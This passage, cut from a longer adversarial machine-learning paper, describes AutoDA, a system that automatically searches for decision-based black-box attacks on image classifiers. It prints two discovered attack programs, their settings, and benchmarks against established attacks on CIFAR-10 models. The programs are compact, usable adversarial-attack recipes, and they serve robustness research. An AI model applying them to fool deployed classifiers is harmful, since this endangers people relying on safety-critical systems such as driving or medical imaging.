with affordable complexity. The way we construct the search
space is similar to the aforementioned solution of AutoML-
Zero [32]. However, due to the theoretical and practical differ-
ences between our problem and AutoML-Zero’s, AutoDA
settles on quite different design choices and implementa-
tions. For instance, we use the static single assignment (SSA)
form instead of the three-address code (TAC) form (used in
AutoML-Zero) to define the search space for better sample
efficiency and computational performance in our use case of
generating random programs, as detailed in Section 3.3.

Furthermore, we propose several mechanisms to efficiently
explore this search space. First, we develop a simple random
search algorithm that can be executed distributively. By com-
bining with several pruning techniques and intuitive priors,
this search algorithm shows great efficiency. Second, we uti-
lize a small and fast model for evaluating and filtering attack
algorithms during the search to further reduce computational
cost. Although our search space is inspired by and based
on the Boundary attack, it turns out that the discovered al-
gorithms are simpler and can perform much better than the
Boundary attack. They are query-efficient when used to attack
larger models, and can be geometrically interpreted, which
illustrates the rationality of some heuristics in existing works.
In this work, the search space is relatively restricted in a
sense that it is not able to express more recent state-of-the-art
expert-designed attacks [22, 23]. Our discovered algorithms
consistently demonstrate comparable performance with the
state-of-the-art baselines, suggesting these expert-designed
attacks are near-optimal given this restricted search space.

In summary, we make the following contributions:

• We present AutoDA, the first solution to automatically
discover decision-based iterative adversarial attacks.

• We propose a way to construct a search space of decision-
based iterative attack algorithms, providing sufficient
expressiveness and affordable complexity.

• We propose an effective random search algorithm, to-
gether with several pruning techniques and intuitive pri-
ors, to efficiently explore the search space.

• We implement a prototype of AutoDA and run compre-
hensive experiments to evaluate its effectiveness. The
discovered algorithms are simple and geometrically inter-
pretable; and they show comparable performance than
the state-of-the-art expert-designed decision-based it-
erative attacks on various models and datasets consis-
tently, suggesting these expert-designed attacks are near-
optimal in our search space.

2 Background

Recent advances in deep learning techniques have achieved
impressive results on a number of pattern recognition tasks,
including image classification [34], face recognition [35], and
speech recognition [4, 36]. Thus deep learning models have
been integrated into various security-critical applications, e.g.,
autonomous driving, healthcare, and finance.

However, deep learning classifiers are vulnerable to adver-
sarial examples, which brings potential risks to these security-
critical applications. As a result, the study of adversarial attack
and defense methods has attracted increasing attention. To
measure the quality of an adversarial example, researchers
usually use the ℓ2 or ℓ∞ norm distance between the natural
example and the adversarial example — a smaller distance
means a better adversarial example. To generate good ad-
versarial examples and defend against adversarial examples
under different threat models, an enormous number of adver-
sarial attack and defense methods have been proposed.

Threat models. Adversarial attack and defense methods
are usually designed for some specific threat models. There-
fore, clearly defining threat models is essential to understand
these methods [15]. According to the adversary’s goal, we
have the untargeted and targeted threat models. An untar-
geted adversary aims to cause misclassification of the target
model, while a targeted adversary goes one step further and
aims to cause misclassification as an adversary-desired class.
According to the attacker’s knowledge of the target model,
attacks can be categorized into the white-box [6, 13, 25]. and
black-box threat models [11, 12, 12].

Defense methods. Due to the security threat brought by
adversarial examples, various defense methods have been pro-
posed to defend against adversarial attacks [25]. However,
many of them cause obfuscated gradients and can be defeated
by adaptive attacks [17]. Currently, the most effective defense
methods are based on adversarial training [14,25], which adds
adversarial examples to the training process. For instance, the
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PGD-based adversarial training [25] improves the robustness
of classifiers by adding adversarial examples generated by
the PGD attack to the training set. The downside of adver-
sarial training is reducing the model’s accuracy on natural
examples [14].

Decision-based black-box attacks. Black-box attacks can
be further divided into score-based and decision-based ones.
In score-based attacks, the adversary has access to the full
probability (or score) output for each class [11, 37–39]. In
decision-based attacks, the adversary has only the hard-label
output (i.e., the final prediction label), and thus has more
challenges to generate adversarial examples. Jacobian-based
attacks [10, 19] are early work in this field. Later decision-
based attacks [7, 21] adopt the random walk framework first
proposed in the Boundary attack [12]. Recent iterative attacks
might combine with other techniques, e.g., zeroth-order opti-
mization [22, 23]. In this work, we focus on the challenging
but practical decision-based black-box attack problem.

3 Design

In this section, we explain the design of AutoDA in detail. For
simplicity, we particularly focus on untargeted attacks in this
work, where the adversary aims to cause misclassification
of the victim classifier. Nevertheless, our approach can be
extended to targeted attacks straightforwardly.

3.1 Intuition

Discovering an algorithm containing control flow that satisfies
an intent specification is undecidable in general [26], thus it
is extremely hard. After investigating the implementations of
the existing Boundary attack [12] and Evolutionary attack [7],
we found that they share a quite similar control flow, while
their main difference lies in a loop-free code segment. This
loop-free code segment in both attacks uses only a few dozens
of basic scalar and vector mathematical operations. This ob-
servation suggests the possibility of fixing the control flow of
the algorithm (i.e., in a unified framework) and only searching
for the loop-free code segment.

3.2 Overview

One possible approach to reducing the difficulty of search-
ing for algorithms is providing a template for the algorithm,
which reduces the problem down to searching for the missing
components in the template [33]. Inspired by this approach,
we choose the random walk framework for decision-based
iterative attacks under the ℓ2 norm as our algorithm template.
This framework is first proposed by the Boundary attack [12]
and used by many later decision-based attacks [7, 21].

As outlined in Alg. 1, the random walk process starts at
an adversarial starting point x1, which could be obtained by

Algorithm 1 Random walk framework for decision-based
iterative attacks under the ℓ2 norm.

Data: original example x0, adversarial starting point x1;
Output: adversarial example x such that the ℓ2 distortion
∥x−x0∥2 is minimized;
Initialization: x← x1; dmin←∥x−x0∥2;
while query budget is not reached do

x′← generate(x,x0);
if x′ is adversarial and ∥x′−x0∥2 < dmin then

x← x′; dmin←∥x−x0∥2;
end if
Update the success rate of whether x′ is adversarial;
Adjust hyperparameters according to the success rate;

end while

keeping adding different large random noises to the origi-
nal example x0 until finding one that causes misclassifica-
tion [12]. In each iteration of the random walk, the adversary
executes the generate() function to generate the next ran-
dom point x′ to walk to based on the original example x0 and
the best adversarial example x already found. x′ is usually
generated by applying transformations to a Gaussian noise.
If x′ is adversarial and is closer to x0 than the old adversarial
example x, we update the adversarial example x to x′ since
we found a better adversarial example with a smaller pertur-
bation. Existing random walk based attacks guarantee the
inequality ∥x′− x0∥2 < dmin to hold by properly designing
the generate() function. There are also some hyperparame-
ters inside the generate() function controlling the step size
of the random walk process. After each iteration, the frame-
work collects the success rate of whether x′ is adversarial and
adjusts the hyperparameters according to the success rate of
several past trials.

There are two missing components in this template — the
generate() function and the hyperparameter adjustment
strategy. The main difference between existing attacks lies in
their generate() functions, while they all use similar nega-
tive feedback hyperparameter adjustment strategies. Without
loss of generality, we only search for the generate() func-
tion to make our problem easier, and settle on a predefined
negative feedback strategy for adjusting hyperparameters sim-
ilar to existing works, as detailed in Appendix A.

To solve our problem, we adopt the following generic
methodology: define a search space for the generate() func-
tion, design a search method, and search for programs with top
performance under some designed program evaluation met-
rics. Before diving into the details, we provide an overview
of AutoDA first: (1) We choose a generic search space con-
structed from basic scalar and vector mathematical operations
which provides sufficient expressiveness for our problem (Sec-
tion 3.3); (2) We use random search combined with several
pruning techniques and intuitive priors to efficiently explore
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Table 1: List of available operations in the AutoDA DSL. The suffix of each operation’s notation indicates its parameters’ type,
where S denotes scalar type, and V denotes vector type. For example, the VS suffix means the operation’s first parameter is a
vector and second parameter is a scalar. In the parameter(s) column, a or a stands for the first parameter, a for scalar and a for
vector; b or b stands for the second parameter, b for scalar and b for vector. In the output column, r for scalar output, and r for
vector output. In the mathematical expression column, the subscript ·i on vector variable means the i-th component of the vector,
∀i means for all dimension of the vector.

ID Notation Description Parameter(s) Output Mathematical Expression

1 ADD.SS scalar-scalar addition a,b r r = a+b
2 SUB.SS scalar-scalar subtraction a,b r r = a−b
3 MUL.SS scalar-scalar multiplication a,b r r = ab
4 DIV.SS scalar-scalar division a,b r r = a/b
5 ADD.VV vector-vector element-wise addition a,b r r = a+b
6 SUB.VV vector-vector element-wise subtraction a,b r r = a−b
7 MUL.VS vector-scalar broadcast multiplication a,b r ri = aib,∀i
8 DIV.VS vector-scalar broadcast division a,b r ri = ai/b,∀i
9 DOT.VV vector-vector dot product a,b r r = a ·b
10 NORM.V vector ℓ2 norm a r r = ∥a∥2

the search space (Section 3.4); (3) We evaluate programs with
a small and fast model on a small number of samples to reduce
computational cost (Section 3.5). We will elaborate important
design choices of AutoDA in the rest of this section.

3.3 Search Space

Designing a search space is the art of trading off between
expressiveness and complexity [26]. On one hand, the search
space should be expressive enough to include useful programs
for the target problem. On the other hand, great expressiveness
does not come for free — it usually leads to high complexity.
Searching over a complex space is both time-consuming and
hard to implement. Instead of using a full-featured program-
ming language like Python which provides more-than-needed
expressiveness with high complexity, we choose to design
a domain specific language (DSL) specialized for our prob-
lem that provides sufficient expressiveness with relative low
complexity.

We list all the available operations in our AutoDA DSL in
Table 1. These operations are basic mathematical operations
for scalars and vectors, and all vector operations have geo-
metric meaning in the Euclidean space. Then we construct
our search space for the generate() function as all valid
static-single-assignment (SSA) form programs in this DSL
with a given length and a given number of hyperparameters.
Each program is just a sequence of assignment statements.
Each of these statements applies one of the available oper-
ations to one or two variables (depending on whether the
operation accepts one or two parameter(s)), and assigns the
output of this operation to a variable. In our use case of gener-
ating random programs, we choose the SSA form widely used
in modern compilers [40] instead of the three-address code

(TAC) form used in the AutoML-Zero [32] for better sample
efficiency and computational performance. Although the SSA
and TAC forms are equivalent in the sense that they can be
converted to each other, when generating random programs
in the SSA form, we can enforce many desired properties of
these programs explicitly and straightforwardly, e.g., limiting
the number of hyperparameters and avoiding unused inputs
and statements. In contrast, for the TAC form, we usually
need to generate programs first, then check their properties
and reject the failed ones. Moreover, checking a TAC form
program requires almost as much work as converting it into an
equivalent SSA form program. Consequently, this generate-
then-check process hurts sample efficiency and computational
performance.

It is worth noting that the AutoDA DSL only requires all
vector variables to have the same dimension but does not re-
strict them to a specific dimension. This property of our DSL
preserves the possibility for transferring the discovered pro-
grams to other datasets with different image shapes without
modification, though it may need extra tuning on the initial
values of hyperparameters after changing the input dimension.

We design the program to accept three parameters: x and
x0 as in the generate(x,x0) function from Alg. 1, as well as
a random noise n sampled from the standard Gaussian distri-
bution N (0, I). Instead of providing operations for generating
random noise in the AutoDA DSL, we provide the random
noise as a parameter n, thus the program itself would be pure
and more handy to do property testing efficiently.

The above designed AutoDA DSL should have sufficient
expressiveness for the decision-based adversarial attack prob-
lem under the ℓ2 norm. For example, we can implement the
Boundary attack’s generate() function with our AutoDA
DSL. We provide one possible implementation of it in Ap-
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pendix C. On the other hand, the AutoDA DSL does not have
high complexity since it has no control flow with only ten
unary and binary operations. However, this search space is
still huge, because its size grows at least exponentially with
the length of the program. As a result, we need to design and
implement an efficient search method.

3.4 Search Method
Searching for programs is a combinatorial optimization prob-
lem, because the search space is discrete and finite when
ignoring the initial values of hyperparameters. In this work,
we develop a random search based method combined with
several pruning techniques and intuitive priors. We choose
random search due to several reasons. First, from a theoretical
perspective, the no free lunch theorems for optimization [41]
imply that random search is on average a reasonable baseline
method for combinatorial optimization. For example, random
search based methods are shown to be competitive baselines
in NAS [42]. Second, from a practical perspective, random
search is much simpler to implement efficiently and correctly
than other methods, e.g., evolutionary search, but it is surpris-
ingly effective [29] when combined with other techniques,
e.g., pruning techniques. Finally, random search can run in
parallel by its nature, which helps us easily distribute tasks to
multiple machines. For the hyperparameters, since the frame-
work would adjust them automatically during the random
walk process, we initialize them as a given fixed value to
reduce implementation complexity and computational cost.

Unlike NAS works, where the search spaces are usually
constructed from expert-designed layers such that good ar-
chitectures are dense in them, AutoDA’s search space is con-
structed from a more generic DSL such that good programs
should be quite sparse. Naive random search would waste
most computation on meaningless programs. We mitigate
this issue by introducing four techniques specialized for the
decision-based attack problem from two aspects — the ran-
dom program generating process and the search process. We
will conduct an ablation study on these four techniques to
show their effectiveness in Section 5.4.

For the random program generating process, we apply two
intuitive priors (or biases) to improve the quality of the gen-
erated programs: (1) Compact program: We use a program
generating algorithm that prefers to generate programs with
less unused statements1. It is noted that this algorithm should
still generate programs with many unused statements, but
with a lower probability, so that the search space size is not
reduced. We describe the detailed random program gener-
ating algorithm used by this work in Section 4.1, which is
one possible way to implement this prior. (2) Predefined
statements: We add three predefined statements v = x0− x

1When a variable is assigned but unused in the return value of the program,
we call it “unused variable”, and call the corresponding assignment statement
“unused statement”.

(v = SUB.VV(x0,x)), d = ∥v∥2 (d = NORM.V(v)), and u =
v/d (u = DIV.VS(v,d)) to the program before randomly
generating the remaining statements. These predefined state-
ments are common for decision-based attacks under the ℓ2
norm, because the program needs to minimize the distance
between x0 and x. Thus the distance d and the angle u be-
tween x and x0 should be useful. These statements all appear
at the very beginning of many existing methods, including
the Boundary attack [12], the Evolutionary attack [7], and the
state-of-the-art Sign-OPT attack [22]. Again, programs left
these predefined statements unused could still be generated,
but with a lower probability. Without reducing the size of our
search space, both techniques just add priors to the generat-
ing process and increase the probability of generating better
programs.

For the search process, we apply two pruning techniques to
filter out trivially meaningless programs based on constraints
imposed by the decision-based attack problem and the ran-
dom walk algorithm template, including: (1) Inputs check:
We filter out programs that do not make use of all inputs,
because they would be meaningless for the decision-based
attack problem. This property can be checked formally. (2)
Distance test: We filter out programs that generate x′ violating
the inequality ∥x′−x0∥2 < dmin required by the framework in
Alg. 1. However, formally checking this property is extremely
hard. We informally test this property instead, as detailed in
Section 4.1.

3.5 Program Evaluation Method

The last step is to define evaluation metrics for programs in
the search space such that we can distinguish good programs
from bad ones. When evaluating the performance of decision-
based attacks, we usually run them against many large deep
models to generate adversarial example for each sample in
the test set. However, as running large models and attacking
all samples in the test set are computationally expensive, this
kind of evaluation is time-consuming and impractical for our
problem with a huge search space.

To address this issue, we leverage two strategies to make
the evaluation fast and cheap. First, we consider the CIFAR-10
dataset [43] and adopt a modified version of EfficientNet2 [44]
for program evaluation during the search process. CIFAR-
10 is an image dataset of shape 32× 32× 3 widely used in
existing adversarial robustness works. We choose it mainly
for its low dimension, such that better computational perfor-
mance and smaller memory footprint can be achieved. Since
effective attacks should be effective against both small and
large models, attacks discovered using small models should
(hopefully) be able to transfer to larger models. However, this
further shrunk version of EfficientNet-B0 we used is too small

2EfficientNets are small and fast deep models that achieve high accuracy
on various benchmarks. We shrunk the EfficientNet-B0, the smallest variant
of EfficientNets, by a factor of 0.5 to make it run even faster.
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to achieve reasonable accuracy on the complete CIFAR-10
dataset, while for some pair of labels in CIFAR-10 it can. So
we train a binary classifier on two selected classes achieving
reasonable classification accuracy. We trained the classifier
normally without any defensive techniques like adversarial
training. This classifier can process more than 60,000 images
per second on a single GTX 1080 Ti GPU. Second, we evalu-
ate programs on a handful of examples and take an average
over the evaluation metrics to save GPU time. Instead of using
an absolute ℓ2 distance between the original example x0 and
the best adversarial example x the program found, we use a
relative distance ∥x−x0∥2/∥x1−x0∥2 as the metric where x1
is the adversarial starting point as in Alg. 1, which is called
ℓ2 distortion ratio. A lower ℓ2 distortion ratio means a better
program.

Even with this small and fast classifier, running programs
for tremendous random walk iterations is still computationally
expensive. However, adopting lots of iterations is necessary
for hyperparameters adjustment strategies to take effect in
existing methods [7, 12]. To mitigate this issue, we first eval-
uate programs for a small number of iterations and select
several top performing programs according to the program
evaluation metric. Then we perform a second round of evalu-
ation of these programs for a larger number of iterations. This
evaluation strategy would also prefer choosing programs that
achieve relatively high query efficiency within few iterations.
At the initial stage of the random walk process, the success
rate is usually high, and thus the hyperparameters adjustment
strategy tends to overshoot and harm the performance. So we
practically disable hyperparameters adjustment in the small
evaluation.

4 Implementation

We implemented a prototype of AutoDA from scratch, since
the task is performance-critical while there is no existing sys-
tem being suitable for our task to the best of our knowledge.
We implemented the main functionality of searching for top
performing programs as described in Section 3 with about
4,000 lines of C++. About 2,000 lines of Python are used to
pre-process datasets, prepare the classifier, and benchmark the
discovered algorithms against baseline attack methods. Fig-
ure 1 illustrates the implementation overview of our proposed
AutoDA.

We train the small and fast classifier described in Sec-
tion 3.5 with Python using a keras [45] implementation [46]
of EfficientNets [44]. Since the main functionality of AutoDA
is implemented in C++ for performance consideration, we
save this classifier as the SavedModel format, so that we can
use the TensorFlow C API to easily load it as well as run it on
GPU in C++. Though small and fast, this classifier requires a
large batch size (> 1,000) to achieve acceptable GPU utiliza-
tion, which brings extra difficulty to the implementation of
AutoDA (See Section 4.2).

Random Programs
(SSA form) 

Inputs Check

Distance Test

SSA to TAC Compiler

Random Programs
(TAC form) 

Program Generator Program Evaluator

Program Evaluation Loop

TAC form Program
Interpreter

Classifier on GPU

Images Labels

Evaluation Metrics
Log 

Figure 1: Implementation overview of AutoDA.

4.1 Program Generator
The program generator generates random SSA form programs
and filters out trivially bad ones, then translates them into their
equivalent TAC form programs and submits them in batches
to the program evaluator. The reason for batching here is to
satisfy the large batch size requirement of the classifier. We
found that the program generator is CPU intensive, so our
implementation runs it in a dedicated thread pool.

Random program generation. As mentioned in Sec-
tion 3.4, we generate SSA form random programs with two
priors: (1) compact program, and (2) predefined statements.
The implementation of the predefined statements prior is
straightforward. As for the compact program prior, we use a
simple heuristic to implement it — while the program has not
reached the max length, we randomly and uniformly select
one new operation from all available operations in the DSL,
then randomly select parameter(s) for this operation to con-
struct a new assignment statement and append this statement
to the program. During this process, we keep a list of all cur-
rently unused variables, so that when choosing parameter(s)
for the new operation, we choose these unused variables with
higher probability than other variables. When a currently un-
used variable is chosen as the new operation’s parameter, the
number of unused variables is reduced.

Inputs check and distance test. The inputs check and
distance test are two pruning techniques we introduced in
Section 3.4. The inputs check is implemented using some
basic static analysis techniques [47]. For the distance test,
since the inequality in Alg. 1 is extremely hard to be checked
formally, we test this inequality on ten different inputs for
each program, and filter out programs failed in any of these
tests. Though the inputs test does not guarantee the inequality
to hold for all inputs, it works well in practice. The inputs
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check and distance test are both done on CPU cores. By
filtering out bad programs before they reach the classifier on
GPU, many fewer programs need to be evaluated on GPU. We
will show that they save lots of expensive GPU computational
cost for us in Section 5.1.

SSA to TAC compiler. SSA form programs are easy to
analyze but slow and memory-inefficient to run. After SSA
form programs passed the inputs check and distance test, they
are translated into their equivalent TAC form programs using
a simple SSA to TAC compiler we implemented from scratch.
During the translation, we first discard unused statements then
allocate memory slots. Both can be solved with some simple
compiler techniques [47]. The output TAC form programs are
usually shorter and run faster with less memory usage than
the original SSA form programs (See Appendix B and C for
samples).

4.2 Program Evaluator
The program evaluator evaluates TAC form programs submit-
ted by the program generator in batches against the classifier
on GPU. In the program evaluation loop, for each batch of
programs, we first run these programs for 100 iterations with-
out tuning hyperparameters and only keep the best program
(with the lowest ℓ2 distortion ratio) in each batch. Then we
collect and run these best programs in batches for 10,000
iterations to finally get their evaluation metrics as explained
in Section 3.5. The evaluator logs ℓ2 distortion ratios of these
programs as well as these programs themselves, so that the
best performing programs can be extracted from the log file.

We implement an interpreter to execute TAC form pro-
grams on CPU using the Eigen linear algebra C++ template
library [48] for vector operations. One CPU thread is usually
not enough to fully utilize one GPU. For performance, the
evaluator evaluates multiple batches of programs in a thread
pool. In each random walk iteration in Alg. 1, the program
generates one image and queries the classifier on GPU for
its label to know whether it is adversarial. However, we need
to query the classifier in large batches to achieve acceptable
throughput. To alleviate this issue, these interactions between
the programs on CPU and the classifier on GPU are done
asynchronously in large batches. As a result, with a proper
thread pool size, the evaluator can fully utilize both these
threads and the classifier on GPU.

5 Experiments

In this section, we first evaluate AutoDA to search for top
performing programs under the program evaluation metric
described in Section 3.5 on the small CIFAR-10 classifier
(Section 5.1). Then we run benchmarks to show that, under
the intended setting of attacking normal CIFAR-10 models,
the discovered algorithms can achieve comparable or better
performance than existing human-designed decision-based

0.01700 0.01725 0.01750 0.01775 0.01800 0.01825 0.01850 0.01875 0.01900

`2 Distortion Ratio

Figure 2: Distribution of the lowest ℓ2 distortion ratios found
in each of the 50 runs of the searching-for-programs experi-
ment.

def AutoDA_1st(s0, v1, v2, v3):
v4 = SUB.VV(v1, v2)
s5 = NORM.V(v4)
v6 = DIV.VS(v4, s5)
v8 = MUL.VS(v3, s0)
v11 = MUL.VS(v8, s5)
v17 = ADD.VV(v8, v6)
s18 = DOT.VV(v17, v8)
v21 = MUL.VS(v4, s18)
v22 = ADD.VV(v21, v2)
v23 = SUB.VV(v22, v11)
return v23

def AutoDA_2nd(s0, v1, v2, v3):
v4 = SUB.VV(v1, v2)
s5 = NORM.V(v4)
v6 = DIV.VS(v4, s5)
v7 = MUL.VS(v3, s0)
v8 = ADD.VV(v7, v6)
s9 = NORM.V(v2)
v10 = MUL.VS(v8, s5)
s11 = DOT.VV(v10, v7)
v12 = DIV.VS(v6, s9)
v17 = ADD.VV(v6, v12)
v20 = MUL.VS(v17, s11)
v21 = ADD.VV(v1, v20)
v23 = SUB.VV(v21, v10)
return v23

Figure 3: The SSA form programs of AutoDA 1st and 2nd,
where s0 is the hyperparameter, v1 is the original example
x0, v2 is the adversarial example x the random walk process
already found, and v3 is the standard Gaussian noise n. The
return value of these programs is x′, the next random point to
walk to. The s-prefix in variable’s name means the variable
is a scalar, and v-prefix for vector. Unused statements are
discarded for clarity. The original programs as well as the
compiled TAC form programs are provided in Appendix B.

attacks (Section 5.2). To further understand the strength and
weakness of the discovered algorithms, we also run bench-
marks with defended models on CIFAR-10 and models on
a larger dataset — ImageNet (Section 5.3). When attacking
these models, these algorithms discovered by AutoDA us-
ing the small CIFAR-10 binary classifier can also achieve
competitive performance. Finally, we conduct an ablation
study for the four techniques used in the search method of
AutoDA proposed in Section 3.4 to show their effectiveness
(Section 5.4).

5.1 Searching for Programs
We first introduce the detailed settings of running AutoDA
to search for top performing programs. For the search space,
we limit the maximum length of the program to 20 (i.e., the
length of the Boundary attack’s generate() function in Au-
toDA DSL). We allow one scalar hyperparameter and set it to
0.01 initially. We use the binary classifier for class 0 (airplane)
and class 1 (automobile) of the CIFAR-10 dataset described
in Section 3.5. For the search and evaluation methods, we
first generate programs randomly with all the four techniques
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introduced in Section 3.4, then evaluate these programs in
batches for 100 iterations to calculate their ℓ2 distortion ra-
tios. For each batch, we select one example from the test set
randomly and use it to evaluate all programs in this batch,
such that the ℓ2 distortion ratios of these programs in the same
batch can be compared with each other. The batch size here is
150, which achieves acceptable performance on our hardware.
Second, we select the best programs with the lowest ℓ2 dis-
tortion ratios from each batch of programs and evaluate them
for 10,000 iterations on ten fixed examples from the CIFAR-
10 test set to obtain their final ℓ2 distortion ratios. Since the
ten examples are fixed, these final ℓ2 distortion ratios can be
compared with each other.

We run this experiment for 50 times in parallel. Each run
allows a maximum number of 500 million queries to the
classifier, which takes about two hours on one GTX 1080 Ti
GPU. In all 50 runs, we generate about 125 billion random
programs. 45.475% of these programs failed in the inputs
check, 54.497% of them failed in the distance test, and only
0.028% of them survived both and continued to be evaluated
against the classifier on GPU. These results show that the in-
puts check and distance test techniques save a lot of expensive
GPU computational cost for us. We achieve a throughput of
294k programs per second per GTX 1080 Ti GPU.

Results. We plot the lowest ℓ2 distortion ratios found on
the ten fixed examples in each run in Figure 2. They average
at 0.01797 with a standard deviation of 0.00043. The top one
ℓ2 distortion ratio is 0.01699, the second place is 0.01705,
while the third place is 0.01723. The first and second place
programs have very close evaluation metrics and we choose
both of them to compare with human-designed attacks. We
call them AutoDA 1st and AutoDA 2nd respectively.

We show the SSA form programs of AutoDA 1st and 2nd
in Figure 3. We are surprised that they are quite short after
discarding unused statements — the length of AutoDA 1st and
2nd are 10 and 13 respectively, while the Boundary attack’s
generate() function uses 20 statements when expressed in
the AutoDA DSL, and the more recent Sign-OPT attack [22]
and HopSkipJumpAttack [23]’s official implementations [49,
50] both have several hundred lines of Python code.

Geometric interpretation (See Appendix B for details).
It turns out that the AutoDA 2nd is approximately the same
algorithm as AutoDA 1st, and the return value x′1 of the Au-
toDA 1st program which represents the next random point x′
to walk to can be decomposed as x′1 = x+d∥+d⊥, where

d∥ = s2∥n∥2
2d, d⊥ = s

(
d ·n
∥d∥2

d−∥d∥2n
)
, (1)

d = x0−x is the vector pointing from the adversarial example
x to the original example x0, and n is the standard Gaussian
noise described in Section 3.3. We can then give AutoDA 1st
a geometric interpretation based on this decomposition: the
d∥ component makes movement towards the original example,

and the d⊥ component tries to move along the local classifi-
cation boundary similar to the Boundary attack’s orthogonal
perturbation. These similarities qualitatively suggest the ra-
tionality of some heuristics used in existing attacks. Eq. (1)
also shows that the hyperparameter s controls the step size of
both components. Especially, since the d∥ component makes
movement towards the original example x0, it should at least
avoid walking past x0, thus the expectation of its coefficient
E(s2∥n∥2

2) = s2 dim(n) should be smaller than 1.

5.2 Benchmark Results on Normal CIFAR-10
Models

In this subsection, we benchmark the AutoDA 1st and 2nd for
attacking various normal CIFAR-10 models under the ℓ2 norm
untargeted decision-based threat model, and compare them
with four existing human-designed baseline attack methods.
We run this benchmark to empirically show that, though we
use a small and fast CIFAR-10 binary classifier during the
search, the discovered algorithms perform well under our
intended setting of attacking larger normal CIFAR-10 models.

Benchmark metrics. (1) We adopt the ℓ2 distortion vs.
queries curve, which is widely used in previous decision-
based attack works [12, 22]. (2) We also use the attack suc-
cess rate vs. queries curve to show the effectiveness and
efficiency of these attack methods following Dong et al.’s
benchmark [14] methodology. We consider one attack to be
successful after it finds adversarial example whose ℓ2 distance
w.r.t. the original example is smaller than a given threshold ε.
We demonstrate benchmark results with ε = 1.0 and ε = 0.5.
It is common practice to choose ε = 1.0 in existing works. A
smaller ε = 0.5 makes the attack problem harder, and makes
the benchmark more comprehensive. As for the number of
iterations (or queries), we choose 20,000 to keep consistent
with Dong et al.’s benchmark [14]. It is worth noting that
during the search we only allow 10,000 iterations.

Models and data. We choose four models of varied ar-
chitectures for this benchmark: (1) the ResNet50 [2] model,
(2) the DenseNet [51] model, (3) the DPN [52] model, and
(4) the DLA [53] model. For the ResNet50 model, we use
the pre-trained checkpoint provided by Engstrom et al. [54],
whose test accuracy is 94.4%. For the other three models,
we trained them by ourselves, and they achieve test accuracy
of 95.7%, 95.6%, and 95.1% respectively. All these models
achieve close to state-of-the-art test accuracy on the CIFAR-
10 dataset. We select the first 1,000 images from the CIFAR-
10 test set to run the benchmark. All pixels are scaled to be
in the range [0,1]. We clip the perturbed image into this valid
range [0,1] for all attacks by default.

Baselines. We compare AutoDA 1st and 2nd with the fol-
lowing four decision-based attacks3: (1) the Boundary at-

3In this work, we particularly focus on decision-based attacks under the
ℓ2 norm, thus we search for good programs using the ℓ2 distortion ratio as
the evaluation metric as described in Section 3.5. There are a few decision-
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Figure 4: The median ℓ2 distortion (on a log scale) vs. queries and attack success rate (ε = 1.0 and ε = 0.5) vs. queries curves
for the six attack methods on the four normal CIFAR-10 models. As mentioned in the 5th paragraph of Section 5.2, the HSJA
does not perform well for the DPN model, while the HSJA* does.

tack [12], (2) the Evolutionary attack [7], (3) the Sign-OPT
attack [22], and (4) the HopSkipJumpAttack (HSJA) [23]. The
first two attacks are both based on the random walk frame-
work described in Alg. 1. These two attacks are included in
Dong et al.’s benchmark [14], so we adapt their implementa-
tions. The third one and fourth one are two recently proposed
state-of-the-art attacks based on zeroth-order optimization.
We adapt the implementations from their official reposito-
ries [49,50]. The implementations of the Boundary attack and
Evolutionary attack from Dong et al.’s benchmark supports
attacking images in a batch, which improves GPU utilization
and reduces overall runtime by a lot. However, the official
implementations of the Sign-OPT attack and HSJA do not
support batching. To support this feature, we make necessary
modifications to their official implementations. The Sign-
OPT attack and HSJA might spend up to several hundreds
of queries for finding starting points (since they use complex
methods for finding starting points), while other attacks do
not. Therefore, for all attack methods (including ours), we
include these queries for finding the starting points in the total

based attacks specifically designed for and supporting only the ℓ∞ norm, e.g.
RayS [24]. These ℓ∞ only attacks are not included in our benchmark, since
they are designed for a different threat model.

queries to make the comparison fairer. Attacks might spend
an excessive number of trails to find a starting point, espe-
cially the Sign-OPT and HSJA’s original implementations. To
alleviate this problem, when attacks failed to find a starting
point after a limited number of queries, we let them fallback
to starting points selected from the test set.

Hyperparameters. The hyperparameters of AutoDA 1st
and 2nd are initialized to 0.01, the same value used in the
search as described in Section 5.1. For the four baseline at-
tacks, we leave their default hyperparameters unmodified. The
HSJA has a hyperparameter to switch between using the de-
fault geometric progression or grid search for step-size search.
In our experiments, we found that the default geometric pro-
gression does not perform well when attacking some models.
So we also include HSJA using grid search in the benchmark,
and denote it as HSJA*.

Results. We plot the median ℓ2 distortion (on a log scale)
vs. queries and attack success rate (ε = 1.0 and ε = 0.5) vs.
queries curves for the six attacks on the four normal CIFAR-
10 models in Figure 4. We also provide attack success rate
(ε = 1.0) at different number of queries in Table 2. Extra re-
sults for numerical comparisons are provided in Appendix D.
We also provide visualization for the generated adversarial
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Table 2: The attack success rate (ε = 1.0) given different number of queries for the six attack methods on the four normal
CIFAR-10 models.

Model ResNet50 DenseNet DPN DLA

Queries 2,000 4,000 20,000 2,000 4,000 20,000 2,000 4,000 20,000 2,000 4,000 20,000

Boundary 10.7% 28.4% 100.0% 10.6% 28.5% 100.0% 7.5% 20.9% 99.9% 9.4% 25.4% 100.0%
Evolutionary 64.9% 96.3% 100.0% 66.9% 95.8% 100.0% 56.0% 93.3% 100.0% 63.9% 95.5% 100.0%

Sign-OPT 76.1% 98.8% 100.0% 77.8% 98.9% 100.0% 67.8% 96.6% 100.0% 74.2% 98.1% 100.0%
HSJA 91.9% 96.6% 97.1% 94.2% 97.9% 98.3% 85.5% 90.6% 91.5% 93.8% 99.0% 99.5%

HSJA* 67.4% 92.6% 100.0% 71.7% 92.9% 100.0% 60.1% 86.5% 100.0% 65.1% 91.7% 100.0%

AutoDA 1st 95.9% 99.7% 100.0% 96.4% 99.5% 100.0% 92.4% 98.7% 100.0% 95.8% 99.3% 100.0%
AutoDA 2nd 95.6% 99.5% 100.0% 96.5% 99.7% 100.0% 92.7% 99.1% 100.0% 95.4% 99.3% 100.0%

examples of our AutoDA 1st and the Boundary attack given
different number of queries in Appendix D.

From these results, we can observe that our attacks con-
sistently outperform the Boundary attack by a lot under all
benchmark metrics on all four models. Since AutoDA’s search
space are inspired by and based on the Boundary attack, these
results are quite impressive — though the AutoDA DSL in-
cludes only operations used by the Boundary attack (The
Sign-OPT attack and HSJA are not included in the search
space), the search space contains much better and simpler
algorithms than the Boundary attack, illustrating that the ex-
pressiveness of the search space is adequate.

When compared with other baselines, the AutoDA 1st and
2nd also achieve competitive performance consistently on all
four models. It is worth noting that our algorithms achieve
relatively higher attack success rates and lower ℓ2 distortion
under a relatively small number of queries (< 5,000), demon-
